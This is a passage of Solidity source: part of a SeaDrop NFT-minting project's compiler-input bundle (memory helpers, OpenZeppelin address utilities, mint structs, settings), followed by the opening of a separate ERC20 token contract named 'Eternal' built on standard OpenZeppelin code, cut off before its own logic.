mload(mPtr)\n }\n }\n\n /// @dev Reads the int8 at `mPtr` in memory.\n function readInt8(MemoryPointer mPtr) internal pure returns (int8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int16 at `mPtr` in memory.\n function readInt16(MemoryPointer mPtr) internal pure returns (int16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int24 at `mPtr` in memory.\n function readInt24(MemoryPointer mPtr) internal pure returns (int24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int32 at `mPtr` in memory.\n function readInt32(MemoryPointer mPtr) internal pure returns (int32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int40 at `mPtr` in memory.\n function readInt40(MemoryPointer mPtr) internal pure returns (int40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int48 at `mPtr` in memory.\n function readInt48(MemoryPointer mPtr) internal pure returns (int48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int56 at `mPtr` in memory.\n function readInt56(MemoryPointer mPtr) internal pure returns (int56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int64 at `mPtr` in memory.\n function readInt64(MemoryPointer mPtr) internal pure returns (int64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int72 at `mPtr` in memory.\n function readInt72(MemoryPointer mPtr) internal pure returns (int72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int80 at `mPtr` in memory.\n function readInt80(MemoryPointer mPtr) internal pure returns (int80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int88 at `mPtr` in memory.\n function readInt88(MemoryPointer mPtr) internal pure returns (int88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int96 at `mPtr` in memory.\n function readInt96(MemoryPointer mPtr) internal pure returns (int96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int104 at `mPtr` in memory.\n function readInt104(\n MemoryPointer mPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int112 at `mPtr` in memory.\n function readInt112(\n MemoryPointer mPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int120 at `mPtr` in memory.\n function readInt120(\n MemoryPointer mPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int128 at `mPtr` in memory.\n function readInt128(\n MemoryPointer mPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int136 at `mPtr` in memory.\n function readInt136(\n MemoryPointer mPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int144 at `mPtr` in memory.\n function readInt144(\n MemoryPointer mPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int152 at `mPtr` in memory.\n function readInt152(\n MemoryPointer mPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int160 at `mPtr` in memory.\n function readInt160(\n MemoryPointer mPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int168 at `mPtr` in memory.\n function readInt168(\n MemoryPointer mPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int176 at `mPtr` in memory.\n function readInt176(\n MemoryPointer mPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int184 at `mPtr` in memory.\n function readInt184(\n MemoryPointer mPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int192 at `mPtr` in memory.\n function readInt192(\n MemoryPointer mPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int200 at `mPtr` in memory.\n function readInt200(\n MemoryPointer mPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int208 at `mPtr` in memory.\n function readInt208(\n MemoryPointer mPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int216 at `mPtr` in memory.\n function readInt216(\n MemoryPointer mPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int224 at `mPtr` in memory.\n function readInt224(\n MemoryPointer mPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int232 at `mPtr` in memory.\n function readInt232(\n MemoryPointer mPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int240 at `mPtr` in memory.\n function readInt240(\n MemoryPointer mPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int248 at `mPtr` in memory.\n function readInt248(\n MemoryPointer mPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int256 at `mPtr` in memory.\n function readInt256(\n MemoryPointer mPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n}\n\nlibrary MemoryWriters {\n /// @dev Writes `valuePtr` to memory at `mPtr`.\n function write(MemoryPointer mPtr, MemoryPointer valuePtr) internal pure {\n assembly {\n mstore(mPtr, valuePtr)\n }\n }\n\n /// @dev Writes a boolean `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, bool value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an address `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, address value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a bytes32 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeBytes32(MemoryPointer mPtr, bytes32 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a uint256 `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, uint256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an int256 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeInt(MemoryPointer mPtr, int256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.7;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check if target is a contract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(target.code.length > 0, \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"src/lib/ERC721SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n address paymentToken; // 400/512 bits\n uint16 maxTotalMintableByWallet; // 416/512 bits\n uint16 feeBps; // 432/512 bits\n bool restrictFeeRecipients; // 440/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 maxTotalMintableByWallet;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param quantity The number of tokens to mint.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256 quantity;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256 mintQuantity;\n}\n"
}
},
"settings": {
"remappings": [
"forge-std/=lib/forge-std/src/",
"ds-test/=lib/forge-std/lib/ds-test/src/",
"ERC721A/=lib/ERC721A/contracts/",
"ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/",
"@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
"@openzeppelin-upgradeable/contracts/=lib/openzeppelin-contracts-upgradeable/contracts/",
"@rari-capital/solmate/=lib/seaport/lib/solmate/",
"murky/=lib/murky/src/",
"create2-scripts/=lib/create2-helpers/script/",
"seadrop/=src/",
"seaport-sol/=lib/seaport/lib/seaport-sol/",
"seaport-types/=lib/seaport/lib/seaport-types/",
"seaport-core/=lib/seaport/lib/seaport-core/",
"seaport-test-utils/=lib/seaport/test/foundry/utils/",
"solady/=lib/solady/"
],
"optimizer": {
"enabled": true,
"runs": 99999999
},
"metadata": {
"useLiteralContent": false,
"bytecodeHash": "none",
"appendCBOR": true
},
"outputSelection": {
"*": {
"*": [
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"devdoc",
"userdoc",
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]
}
},
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"libraries": {}
}
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/**
https://eternalai.org/
*/
pragma solidity ^0.8.0;
/*
**/
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Eternal is ERC20, Ownable {
uint256 constant maxWalletStart = 2e16;
uint256 constant addMaxWalletPerMinute = 1e16;
uint256 public constant totalSupplyOnStart = 1e18;
uint256 tradingStartTime;
address public pool;
